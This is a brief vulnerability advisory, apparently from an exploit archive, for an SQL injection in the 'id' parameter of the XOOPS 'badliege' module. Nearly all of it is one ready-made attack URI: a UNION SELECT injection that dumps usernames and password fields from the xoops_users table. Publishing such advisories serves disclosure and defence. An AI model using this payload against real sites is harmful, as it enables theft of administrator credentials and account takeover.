|
XOOPS 'badliege' Module 'id' Parameter SQL Injection Vulnerability
Attackers can use a browser to exploit this issue. The following example URI is available: http://www.example.com/modules/badliege/index.php?op=show&id=-9999999/**/union/**/select/**/0x3a,0x3a,0x3a,uname,pass/**/from+xoops_users/*where%20admin%20-5 |
|
|
Privacy Statement |
